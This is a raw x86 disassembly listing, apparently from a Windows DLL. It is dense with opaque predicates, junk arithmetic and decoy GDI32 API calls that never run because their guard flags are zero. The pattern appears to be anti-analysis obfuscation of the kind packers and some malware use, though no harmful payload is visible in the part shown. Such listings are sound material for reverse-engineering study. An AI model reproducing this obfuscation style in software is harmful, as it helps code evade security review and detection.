call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
jmp 0x1004bf49
mov dword [ebp - 0x3f8], 0xfffffff7
cmp dword [ebp - 0x80], 0x8c53
jge 0x1004be1e
mov dword [ebp - 0x74c], 1
jmp 0x1004be25
and dword [ebp - 0x74c], 0
cmp dword [ebp - 0x74c], 0xffff8148
jg 0x1004be3d
mov dword [ebp - 0x774], 1
jmp 0x1004be44
and dword [ebp - 0x774], 0
cmp dword [ebp - 0x158], 0
je 0x1004beb2
mov eax, dword [ebp - 0x3f8]
mov dword [ebp - 0xe38], eax
mov eax, dword [ebp - 0x3f8]
mov dword [ebp - 0xfbc], eax
mov eax, 0xaf9e
neg eax
mov dword [ebp - 0x3c8], eax
mov eax, dword [ebp - 0x3c8]
cmp eax, dword [ebp - 0x158]
jne 0x1004be8c
mov dword [ebp - 0x754], 1
jmp 0x1004be93
and dword [ebp - 0x754], 0
mov eax, dword [ebp - 0x754]
sub eax, dword [ebp - 0x158]
je 0x1004beb2
xor eax, eax
inc eax
je 0x1004beb2
mov dword [ebp - 0x75c], 1
jmp 0x1004beb9
and dword [ebp - 0x75c], 0
mov eax, dword [ebp - 0x75c]
add eax, 0x9b88
cmp eax, 0xfffffffc
jl 0x1004bed5
mov dword [ebp - 0x764], 1
jmp 0x1004bedc
and dword [ebp - 0x764], 0
mov eax, dword [ebp - 0x3f8]
cmp dword [ebp - 0x764], eax
jne 0x1004bef6
mov dword [ebp - 0x76c], 1
jmp 0x1004befd
and dword [ebp - 0x76c], 0
mov eax, dword [ebp - 0x76c]
mov dword [ebp - 0xbc0], eax
cmp dword [ebp - 0x3c8], 0x69d1fe9
jg 0x1004bf21
mov dword [ebp - 0x77c], 1
jmp 0x1004bf28
and dword [ebp - 0x77c], 0
mov eax, dword [ebp - 0x774]
mov dword [ebp - 0x80], eax
mov esi, dword [ebp - 0x80]
add esi, dword [ebp - 0x77c]
push 2
lea ecx, [ebp - 0xf50]
call fcn.100179fa
mov dword [eax], esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf50]
call fcn.100179de
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1b4]
mov edx, dword [ebp - 0x178]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0xe8], edx
push 1
lea ecx, [ebp - 0x9fc]
call fcn.1001795c
mov dword [ebp - 4], 0x2e
mov dword [ebp - 0x2c4], 0
jmp 0x1004bfa1
mov eax, dword [ebp - 0x2c4]
inc eax
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 1
jge 0x1004bfc3
push dword [ebp - 0x2c4]
lea ecx, [ebp - 0x9fc]
call fcn.100179fa
mov dword [eax], 0xb26bdde0
jmp 0x1004bf94
push 0
lea ecx, [ebp - 0x9fc]
call fcn.100179fa
and dword [eax], 0
jmp 0x1004bff9
push 0
lea ecx, [ebp - 0x9fc]
call fcn.100179fa
mov dword [ebp - 0x784], eax
mov eax, dword [ebp - 0x784]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x784]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x9fc]
call fcn.100179fa
cmp dword [eax], 0xfffffff2
jg 0x1004c0dd
mov dword [ebp - 0xd8], 0x6318d581
mov dword [ebp - 0xbf4], 0xe94f934f
mov dword [ebp - 0xd8], 0xfffffff8
jmp 0x1004c03c
mov eax, dword [ebp - 0xd8]
dec eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 0xfffffff7
jne 0x1004c09f
mov dword [ebp - 0xb48], 0xfffffff6
mov byte [ebp - 0xfd], 0
movzx eax, byte [ebp - 0xfd]
test eax, eax
je 0x1004c092
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xc56
push 0x1cf0
push 0xbbe
push 0x1465
push 0x24c3
call dword [sym.imp.GDI32.dll_CreateFontA]
cmp dword [ebp - 0xb48], 0
je 0x1004c09d
jmp 0x1004c09f
jmp 0x1004c02f
mov dword [ebp - 0xd8], 0
jmp 0x1004c0b8
mov eax, dword [ebp - 0xd8]
dec eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 0xfffffffa
jl 0x1004c0d8
push 0
lea ecx, [ebp - 0x9fc]
call fcn.100179fa
mov eax, dword [eax]
mov dword [ebp - 0xbf4], eax
jmp 0x1004c0ab
jmp 0x1004bfd5
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x9fc]
call fcn.100179de
mov eax, 0xffff
mov word [ebp - 0x84], ax
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x60], 0x780e
mov dword [ebp - 0x160], 0xdb84c6a3
mov dword [ebp - 0xe40], 7
mov dword [ebp - 0x2cc], 0
jmp 0x1004c133
mov eax, dword [ebp - 0x2cc]
inc eax
mov dword [ebp - 0x2cc], eax
cmp dword [ebp - 0x2cc], 1
jge 0x1004c14f
mov eax, dword [ebp - 0x2cc]
mov dword [ebp + eax*4 - 0x88], 0xfffffff8
jmp 0x1004c126
mov dword [ebp - 0x4c], 0
jmp 0x1004c15f
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
jg 0x1004c2c9
mov dword [ebp - 0x78c], 0xf0ddd9cd
mov dword [ebp - 0x3f4], 3
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp + eax*4 - 0x88]
mov dword [ebp - 0xf34], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp + eax*4 - 0x88]
add eax, dword [ebp - 0x60]
cmp eax, 1
ja 0x1004c1ab
mov dword [ebp - 0xb50], 1
jmp 0x1004c1b2
and dword [ebp - 0xb50], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x88]
mov dword [ebp - 0xe48], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x88]
mov dword [ebp - 0x78c], eax
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x78c]
cmp ecx, dword [ebp + eax*4 - 0x88]
jl 0x1004c1f6
mov dword [ebp - 0xbd0], 1
jmp 0x1004c1fd
and dword [ebp - 0xbd0], 0
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0xf9c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x88]
add eax, dword [ebp - 0x160]
cmp eax, 0xf5047c4d
ja 0x1004c22c
mov dword [ebp - 0x794], 1
jmp 0x1004c233
and dword [ebp - 0x794], 0
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp + eax*4 - 0x88]
cmp dword [ebp - 0x794], eax
jge 0x1004c251
mov dword [ebp - 0xb58], 1
jmp 0x1004c258
and dword [ebp - 0xb58], 0
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0xe50], eax
mov eax, dword [ebp - 0x3f4]
cmp eax, dword [ebp - 0x60]
jge 0x1004c27e
cmp dword [ebp - 0x4c], 0
je 0x1004c27e
mov dword [ebp - 0x79c], 1
jmp 0x1004c285
and dword [ebp - 0x79c], 0
mov eax, dword [ebp - 0x79c]
sub eax, dword [ebp - 0x160]
jne 0x1004c2a5
mov eax, 0x2e633725
test eax, eax
jne 0x1004c2a5
and dword [ebp - 0x7a4], 0
jmp 0x1004c2af
mov dword [ebp - 0x7a4], 1
mov eax, dword [ebp - 0x7a4]
sub eax, 0xfda3
mov dword [ebp - 0x3f4], eax
je 0x1004c2c4
jmp 0x1004c2c9
jmp 0x1004c158
mov dword [ebp - 0x160], 7
jmp 0x1004c2e2
mov eax, dword [ebp - 0x160]
dec eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 0xfffffffd
je 0x1004c66b
mov dword [ebp - 0xc04], 0xe21dabee
mov dword [ebp - 0x4c], 0
jmp 0x1004c309
mov eax, dword [ebp - 0x4c]
dec eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0xfffffff6
je 0x1004c666
mov dword [ebp - 0x19c], 0x69fbc0ae
mov dword [ebp - 0x244], 0
jmp 0x1004c336
mov eax, dword [ebp - 0x244]
inc eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 3
jge 0x1004c352
mov eax, dword [ebp - 0x244]
mov dword [ebp + eax*4 - 0xdac], 0xfffc
jmp 0x1004c329
mov dword [ebp - 0x60], 0
jmp 0x1004c362
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0
jg 0x1004c661
mov dword [ebp - 0x24c], 0
jmp 0x1004c385
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 3
jge 0x1004c3a1
mov eax, dword [ebp - 0x24c]
mov dword [ebp + eax*4 - 0xbdc], 0x673ed132
jmp 0x1004c378
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0xbdc], 0
jmp 0x1004c3cf
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xbdc]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xbdc], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xbdc], 0
jl 0x1004c65c
mov dword [ebp - 0x194], 0xffffffff
push 1
lea ecx, [ebp - 0xdc4]
call fcn.1001795c
mov dword [ebp - 4], 0x2f
mov dword [ebp - 0x254], 0
jmp 0x1004c41a
mov eax, dword [ebp - 0x254]
inc eax
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 1
jge 0x1004c43c
push dword [ebp - 0x254]
lea ecx, [ebp - 0xdc4]
call fcn.100179fa
mov dword [eax], 0x96fb6c71
jmp 0x1004c40d
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xbdc]
mov dword [ebp - 0xf44], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xdac]
cmp eax, dword [ebp - 0x19c]
jge 0x1004c470
mov dword [ebp - 0x7ac], 1
jmp 0x1004c477
and dword [ebp - 0x7ac], 0
cmp dword [ebp - 0x7ac], 0xfffffffa
ja 0x1004c48c
mov dword [ebp - 0x7b4], 1
jmp 0x1004c493
and dword [ebp - 0x7b4], 0
cmp dword [ebp - 0x7b4], 0xfffffff7
jg 0x1004c4a8
mov dword [ebp - 0x7bc], 1
jmp 0x1004c4af
and dword [ebp - 0x7bc], 0
mov eax, dword [ebp - 0x194]
cmp dword [ebp - 0x7bc], eax
je 0x1004c4c9
mov dword [ebp - 0x7c4], 1
jmp 0x1004c4d0
and dword [ebp - 0x7c4], 0
cmp dword [ebp - 0x7c4], 0xc499
jl 0x1004c4e8
mov dword [ebp - 0x7cc], 1
jmp 0x1004c4ef
and dword [ebp - 0x7cc], 0
mov eax, dword [ebp - 0x194]
cmp dword [ebp - 0x7cc], eax
je 0x1004c509
mov dword [ebp - 0x7d4], 1
jmp 0x1004c510
and dword [ebp - 0x7d4], 0
mov eax, dword [ebp - 0x7d4]
mov dword [ebp - 0x194], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 1
mov ecx, dword [ebp + ecx - 0xdac]
sub ecx, dword [ebp - 0x194]
cmp ecx, dword [ebp + eax - 0xdac]
jle 0x1004c552
cmp dword [ebp - 0x194], 0
je 0x1004c552
mov dword [ebp - 0x7e4], 1
jmp 0x1004c559
and dword [ebp - 0x7e4], 0
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp + eax*4 - 0x88]
mov dword [ebp - 0x7dc], eax
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x7dc]
mov dword [ebp + eax*4 - 0x88], ecx
mov eax, dword [ebp - 0x7dc]
cmp eax, dword [ebp - 0x7e4]
jne 0x1004c59c
mov eax, 0x54fd57ec
test eax, eax
je 0x1004c59c
mov dword [ebp - 0x7ec], 1
jmp 0x1004c5a3
and dword [ebp - 0x7ec], 0
mov esi, dword [ebp - 0x7ec]
add esi, 0x18cc
push 0
lea ecx, [ebp - 0xdc4]
call fcn.100179fa
cmp esi, dword [eax]
je 0x1004c5cc
mov dword [ebp - 0x7f4], 1
jmp 0x1004c5d3
and dword [ebp - 0x7f4], 0
cmp dword [ebp - 0x7f4], 1
jg 0x1004c5e8
mov dword [ebp - 0x7fc], 1
jmp 0x1004c5ef
and dword [ebp - 0x7fc], 0
mov eax, dword [ebp - 0x7fc]
mov dword [ebp - 0xc04], eax
mov dword [ebp - 0x19c], 0
jmp 0x1004c614
mov eax, dword [ebp - 0x19c]
inc eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 0
jg 0x1004c648
mov byte [ebp - 0x105], 0
movzx eax, byte [ebp - 0x105]
test eax, eax
je 0x1004c646
push 0
push 0x1255
push 0x257
push 0x726
call dword [sym.imp.GDI32.dll_GetSystemPaletteEntries]
jmp 0x1004c607
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xdc4]
call fcn.100179de
jmp 0x1004c3b4
jmp 0x1004c35b
jmp 0x1004c302
jmp 0x1004c2d5
or dword [ebp - 0x170], 0xffffffff
cmp dword [ebp + 0x10], 0
jbe 0x1004ca04
mov dword [ebp - 0x1a4], 0
mov dword [ebp - 0x1a4], 0
jmp 0x1004c69f
mov eax, dword [ebp - 0x1a4]
inc eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 0xe
jne 0x1004c6e3
mov dword [ebp - 0x25c], 0xffffffff
mov dword [ebp - 0x25c], 0
jmp 0x1004c6cb
mov eax, dword [ebp - 0x25c]
dec eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0xfffffff7
je 0x1004c6e1
cmp dword [ebp - 0x1a4], 0
je 0x1004c6df
jmp 0x1004c6e1
jmp 0x1004c6be
jmp 0x1004c692
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp + 0x10]
cmp ecx, dword [eax + 0x14]
ja 0x1004c9ff
push 4
lea ecx, [ebp - 0x42c]
call fcn.1001795c
mov dword [ebp - 4], 0x30
push 1
lea ecx, [ebp - 0xbec]
call fcn.1001795c
mov byte [ebp - 4], 0x31
mov dword [ebp - 0x384], 0
push 1
lea ecx, [ebp - 0xcb8]
call fcn.1001795c
mov byte [ebp - 4], 0x32
push 3
lea ecx, [ebp - 0xc88]
call fcn.1001795c
mov byte [ebp - 4], 0x33
mov dword [ebp - 0x824], 0xfffd
mov dword [ebp - 0xc0c], 0xf0bd907c
mov dword [ebp - 0x1c], 0
jmp 0x1004c76a
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 4
jge 0x1004c783
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x42c]
call fcn.100179fa
and dword [eax], 0
jmp 0x1004c763
mov dword [ebp - 0x1c], 0
jmp 0x1004c793
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 1
jge 0x1004c7af
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xbec]
call fcn.100179fa
mov dword [eax], 4
jmp 0x1004c78c
mov dword [ebp - 0x1c], 0
jmp 0x1004c7bf
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 1
jge 0x1004c7db
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xcb8]
call fcn.100179fa
mov dword [eax], 0x9261
jmp 0x1004c7b8
mov dword [ebp - 0x1c], 0
jmp 0x1004c7eb
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1004c807
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xc88]
call fcn.100179fa
mov dword [eax], 2
jmp 0x1004c7e4
push 1
lea ecx, [ebp - 0x42c]
call fcn.100179fa
imul eax, dword [eax], 0xffffffff
cmp eax, 0xffffffff
jne 0x1004c828
mov dword [ebp - 0x804], 1
jmp 0x1004c82f
and dword [ebp - 0x804], 0
push 0
lea ecx, [ebp - 0xbec]
call fcn.100179fa
mov ecx, dword [ebp - 0x804]
mov dword [eax], ecx
push 1
lea ecx, [ebp - 0x42c]
call fcn.100179fa
cmp dword [eax], 0
jne 0x1004c974
push 0
lea ecx, [ebp - 0xbec]
call fcn.100179fa
mov dword [ebp - 0x80c], eax
push 0
lea ecx, [ebp - 0x42c]
call fcn.100179fa
mov ecx, dword [ebp - 0x80c]
mov eax, dword [eax]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0xcb8]
call fcn.100179fa
mov ecx, dword [ebp - 0x80c]
mov ecx, dword [ecx]
cmp ecx, dword [eax]
jg 0x1004c8a9
mov dword [ebp - 0xb60], 1
jmp 0x1004c8b0
and dword [ebp - 0xb60], 0
push 2
lea ecx, [ebp - 0xc88]
call fcn.100179fa
mov dword [ebp - 0x814], eax
push 0
lea ecx, [ebp - 0xcb8]
call fcn.100179fa
mov ecx, dword [ebp - 0x814]
mov eax, dword [eax]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x42c]
call fcn.100179fa
mov ecx, dword [ebp - 0x814]
mov ecx, dword [ecx]
cmp ecx, dword [eax]
jge 0x1004c8ff
mov dword [ebp - 0x81c], 1
jmp 0x1004c906
and dword [ebp - 0x81c], 0
push 1
lea ecx, [ebp - 0x42c]
call fcn.100179fa
mov esi, dword [ebp - 0x81c]
imul esi, dword [eax]
push 1
lea ecx, [ebp - 0x42c]
call fcn.100179fa
cmp esi, dword [eax]
je 0x1004c939
mov dword [ebp - 0xbe0], 1
jmp 0x1004c940
and dword [ebp - 0xbe0], 0
mov eax, dword [ebp - 0x824]
mov dword [ebp - 0xe58], eax
push 2
lea ecx, [ebp - 0xc88]
call fcn.100179fa
push 1
lea ecx, [ebp - 0x42c]
call fcn.100179fa
cmp dword [eax], 0
jne 0x1004c974
and dword [ebp - 0xb68], 0
jmp 0x1004c97e
mov dword [ebp - 0xb68], 1
mov eax, dword [ebp - 0x384]
mov dword [ebp - 0xf58], eax
mov eax, dword [ebp - 0x824]
mov dword [ebp - 0xe60], eax
mov eax, dword [ebp - 0x384]
dec eax
mov dword [ebp - 0x384], eax
push 0
lea ecx, [ebp - 0xbec]
call fcn.100179fa
mov eax, dword [eax]
mov dword [ebp - 0xc0c], eax
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0xc88]
call fcn.100179de
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0xcb8]
call fcn.100179de
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0xbec]
call fcn.100179de
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x42c]
call fcn.100179de
mov eax, dword [ebp + 0x10]
dec eax
mov word [ebp - 0x84], ax
jmp 0x1004d4b3
push 1
lea ecx, [ebp - 0x420]
call fcn.1001795c
mov dword [ebp - 4], 0x34
mov dword [ebp - 0x90], 0xcdbe8e56
mov dword [ebp - 0x44c], 0xa74d
mov dword [ebp - 0x264], 0
jmp 0x1004ca45
mov eax, dword [ebp - 0x264]
inc eax
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 1
jge 0x1004ca67
push dword [ebp - 0x264]
lea ecx, [ebp - 0x420]
call fcn.100179fa
mov dword [eax], 3
jmp 0x1004ca38
mov byte [ebp - 0x132], 0
movzx eax, byte [ebp - 0x132]
test eax, eax
je 0x1004ca81
push 0
call dword [sym.imp.GDI32.dll_GetObjectType]
mov dword [ebp - 0x90], 0
jmp 0x1004ca9a
mov eax, dword [ebp - 0x90]
dec eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0
jl 0x1004cdf5
push 2
lea ecx, [ebp - 0xa14]
call fcn.1001795c
mov byte [ebp - 4], 0x35
mov dword [ebp - 0x394], 0x11fb8eb5
mov dword [ebp - 0x38c], 0x2324015f
mov dword [ebp - 0x464], 1
mov dword [ebp - 0xbf0], 0xe46552de
mov dword [ebp - 0x26c], 0
jmp 0x1004caf9
mov eax, dword [ebp - 0x26c]
inc eax
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 2
jge 0x1004cb1b
push dword [ebp - 0x26c]
lea ecx, [ebp - 0xa14]
call fcn.100179fa
mov dword [eax], 0x99fb023e
jmp 0x1004caec
push 0
lea ecx, [ebp - 0xa14]
call fcn.100179fa
and dword [eax], 0
jmp 0x1004cb51
push 0
lea ecx, [ebp - 0xa14]
call fcn.100179fa
mov dword [ebp - 0x82c], eax
mov eax, dword [ebp - 0x82c]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x82c]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0xa14]
call fcn.100179fa
cmp dword [eax], 0
jl 0x1004cbdb
mov dword [ebp - 0x274], 0xf37c04cc
mov dword [ebp - 0x274], 0
jmp 0x1004cb86
mov eax, dword [ebp - 0x274]
dec eax
mov dword [ebp - 0x274], eax
cmp dword [ebp - 0x274], 0
jl 0x1004cbd6
mov dword [ebp - 0x1ac], 0xd9bacc5d
mov dword [ebp - 0x1ac], 0
jmp 0x1004cbb2
mov eax, dword [ebp - 0x1ac]
inc eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 1
jge 0x1004cbd4
push dword [ebp - 0x1ac]
lea ecx, [ebp - 0x420]
call fcn.100179fa
mov dword [eax], 0xfffffffc
jmp 0x1004cba5
jmp 0x1004cb79
jmp 0x1004cb2d
mov esi, dword [ebp - 0x394]
push 0
lea ecx, [ebp - 0x420]
call fcn.100179fa
cmp esi, dword [eax]
jne 0x1004cbfe
mov dword [ebp - 0x834], 1
jmp 0x1004cc05
and dword [ebp - 0x834], 0
mov eax, dword [ebp - 0x38c]
dec eax
mov dword [ebp - 0x38c], eax
mov eax, dword [ebp - 0x38c]
cmp eax, dword [ebp - 0x834]
jg 0x1004cc2c
mov dword [ebp - 0x83c], 1
jmp 0x1004cc33
and dword [ebp - 0x83c], 0
mov esi, dword [ebp - 0x90]
push 0
lea ecx, [ebp - 0x420]
call fcn.100179fa
mov ecx, dword [ebp - 0x83c]
add ecx, dword [eax]
cmp ecx, esi
jg 0x1004cc5e
mov dword [ebp - 0x844], 1
jmp 0x1004cc65
and dword [ebp - 0x844], 0
push 0
lea ecx, [ebp - 0xa14]
call fcn.100179fa
mov dword [eax], 1
cmp dword [ebp - 0x844], 1
jge 0x1004cc8d
mov dword [ebp - 0x84c], 1
jmp 0x1004cc94
and dword [ebp - 0x84c], 0
mov eax, dword [ebp - 0x84c]
mov dword [ebp - 0x394], eax
imul eax, dword [ebp - 0x394], 0xb756
cmp eax, 0x5816
jge 0x1004ccbd
mov dword [ebp - 0x854], 1
jmp 0x1004ccc4
and dword [ebp - 0x854], 0
push 0
lea ecx, [ebp - 0x420]
call fcn.100179fa
mov eax, dword [eax]
cmp eax, dword [ebp - 0x854]
jge 0x1004cce7
mov dword [ebp - 0xb70], 1
jmp 0x1004ccee
and dword [ebp - 0xb70], 0
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0xf54], eax
mov eax, dword [ebp - 0x464]
sub eax, dword [ebp - 0xbf0]
cmp eax, dword [ebp - 0x90]
jl 0x1004cd1a
mov dword [ebp - 0x85c], 1
jmp 0x1004cd21
and dword [ebp - 0x85c], 0
push dword [ebp - 0x90]
lea ecx, [ebp - 0x420]
call fcn.100179fa
mov esi, dword [ebp - 0x85c]
sub esi, dword [eax]
push dword [ebp - 0x90]
lea ecx, [ebp - 0x420]
call fcn.100179fa
cmp dword [eax], esi
je 0x1004cd5b
mov dword [ebp - 0x440], 1
jmp 0x1004cd62
and dword [ebp - 0x440], 0
cmp dword [ebp - 0x440], 1
ja 0x1004cd77
mov dword [ebp - 0x444], 1
jmp 0x1004cd7e
and dword [ebp - 0x444], 0
mov eax, dword [ebp - 0x44c]
add eax, dword [ebp - 0x444]
imul eax, dword [ebp - 0x44c]
cmp eax, 0xd69b45c
jl 0x1004cda4
mov dword [ebp - 0x454], 1
jmp 0x1004cdab
and dword [ebp - 0x454], 0
push 0
lea ecx, [ebp - 0x420]
call fcn.100179fa
mov ecx, dword [ebp - 0x454]
cmp ecx, dword [eax]
jle 0x1004cdce
mov dword [ebp - 0x45c], 1
jmp 0x1004cdd5
and dword [ebp - 0x45c], 0
mov eax, dword [ebp - 0x45c]
mov dword [ebp - 0x464], eax
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0xa14]
call fcn.100179de
jmp 0x1004ca8d
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x420]
call fcn.100179de
mov dword [ebp - 0x47c], 2
mov dword [ebp - 0xb78], 0
mov dword [ebp - 0x27c], 0
jmp 0x1004ce31
mov eax, dword [ebp - 0x27c]
inc eax
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 2
jge 0x1004ce4d
mov eax, dword [ebp - 0x27c]
mov dword [ebp + eax*4 - 0x95c], 0x26bdde0b
jmp 0x1004ce24
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x95c], 0
jmp 0x1004ce7b
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x95c]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x95c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x95c], 6
jl 0x1004cfc0
mov dword [ebp - 0x48c], 6
mov dword [ebp - 0x39c], 0
mov dword [ebp - 0x284], 0xffffffff
cmp dword [ebp - 0x39c], 0x4307a329
jle 0x1004cec5
mov dword [ebp - 0x46c], 1
jmp 0x1004cecc
and dword [ebp - 0x46c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x46c]
sub ecx, dword [ebp + eax - 0x95c]
cmp ecx, dword [ebp - 0x47c]
jle 0x1004cef3
mov dword [ebp - 0x474], 1
jmp 0x1004cefa
and dword [ebp - 0x474], 0
mov eax, dword [ebp - 0x474]
sub eax, dword [ebp - 0x284]
sub eax, dword [ebp - 0x47c]
cmp eax, 1
jbe 0x1004cf1d
mov dword [ebp - 0x484], 1
jmp 0x1004cf24
and dword [ebp - 0x484], 0
mov dword [ebp - 0x48c], 0xd00585b7
mov eax, dword [ebp - 0x284]
add eax, dword [ebp - 0x484]
mov dword [ebp - 0x39c], eax
mov eax, dword [ebp - 0x39c]
sub eax, dword [ebp - 0x284]
add eax, 0x5d9b4e94
imul eax, eax, 0x8146
cmp dword [ebp - 0x48c], eax
jge 0x1004cf6b
mov dword [ebp - 0x494], 1
jmp 0x1004cf72
and dword [ebp - 0x494], 0
mov eax, dword [ebp - 0x284]
cmp dword [ebp - 0x494], eax
jne 0x1004cf8c
mov dword [ebp - 0x49c], 1
jmp 0x1004cf93
and dword [ebp - 0x49c], 0
cmp dword [ebp - 0x49c], 0
jg 0x1004cfa8
mov dword [ebp - 0x4a4], 1
jmp 0x1004cfaf
and dword [ebp - 0x4a4], 0
mov eax, dword [ebp - 0x4a4]
mov dword [ebp - 0xb78], eax
jmp 0x1004ce60
mov eax, dword [0x10927348]
and eax, 1
jne 0x1004cff7
mov eax, dword [0x10927348]
or eax, 1
mov dword [0x10927348], eax
mov dword [ebp - 4], 0x36
mov ecx, 0x10927300
call fcn.10017a20
push 0x10071c97
call fcn.100580df
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x98], 0xdb3ae355
mov dword [ebp - 0xc14], 0x8f2ba167
push 1
lea ecx, [ebp - 0xdf4]
call fcn.1001795c
mov dword [ebp - 4], 0x37
mov dword [ebp - 0x28c], 0
jmp 0x1004d038
mov eax, dword [ebp - 0x28c]
inc eax
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 1
jge 0x1004d057
push dword [ebp - 0x28c]
lea ecx, [ebp - 0xdf4]
call fcn.100179fa
or dword [eax], 0xffffffff
jmp 0x1004d02b
mov dword [ebp - 0x98], 0
jmp 0x1004d070
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 6
jg 0x1004d25c
mov dword [ebp - 0xe0], 0x111738ab
mov dword [ebp - 0x4cc], 0x9973063d
push 4
lea ecx, [ebp - 0xddc]
call fcn.1001795c
mov byte [ebp - 4], 0x38
mov dword [ebp - 0x294], 0
jmp 0x1004d0bb
mov eax, dword [ebp - 0x294]
inc eax
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 4
jge 0x1004d0da
push dword [ebp - 0x294]
lea ecx, [ebp - 0xddc]
call fcn.100179fa
and dword [eax], 0
jmp 0x1004d0ae
mov eax, dword [ebp - 0xe0]
sub eax, dword [ebp - 0xe0]
mov dword [ebp - 0xe0], eax
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0xe68], eax
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0xf60], eax
mov eax, dword [ebp - 0x98]
cmp eax, dword [ebp - 0xc14]
jg 0x1004d11e
mov dword [ebp - 0x4ac], 1
jmp 0x1004d125
and dword [ebp - 0x4ac], 0
cmp dword [ebp - 0x4ac], 4
jge 0x1004d13a
mov dword [ebp - 0x4b4], 1
jmp 0x1004d141
and dword [ebp - 0x4b4], 0
cmp dword [ebp - 0x4b4], 0xe81720d7
jne 0x1004d162
mov eax, 0x6d6dbc1c
test eax, eax
je 0x1004d162
mov dword [ebp - 0x4bc], 1
jmp 0x1004d169
and dword [ebp - 0x4bc], 0
mov eax, dword [ebp - 0xe0]
cmp dword [ebp - 0x4bc], eax
jne 0x1004d18c
cmp dword [ebp - 0x98], 0
je 0x1004d18c
mov dword [ebp - 0x3a4], 1
jmp 0x1004d193
and dword [ebp - 0x3a4], 0
push 0
lea ecx, [ebp - 0xdf4]
call fcn.100179fa
mov ecx, dword [ebp - 0x3a4]
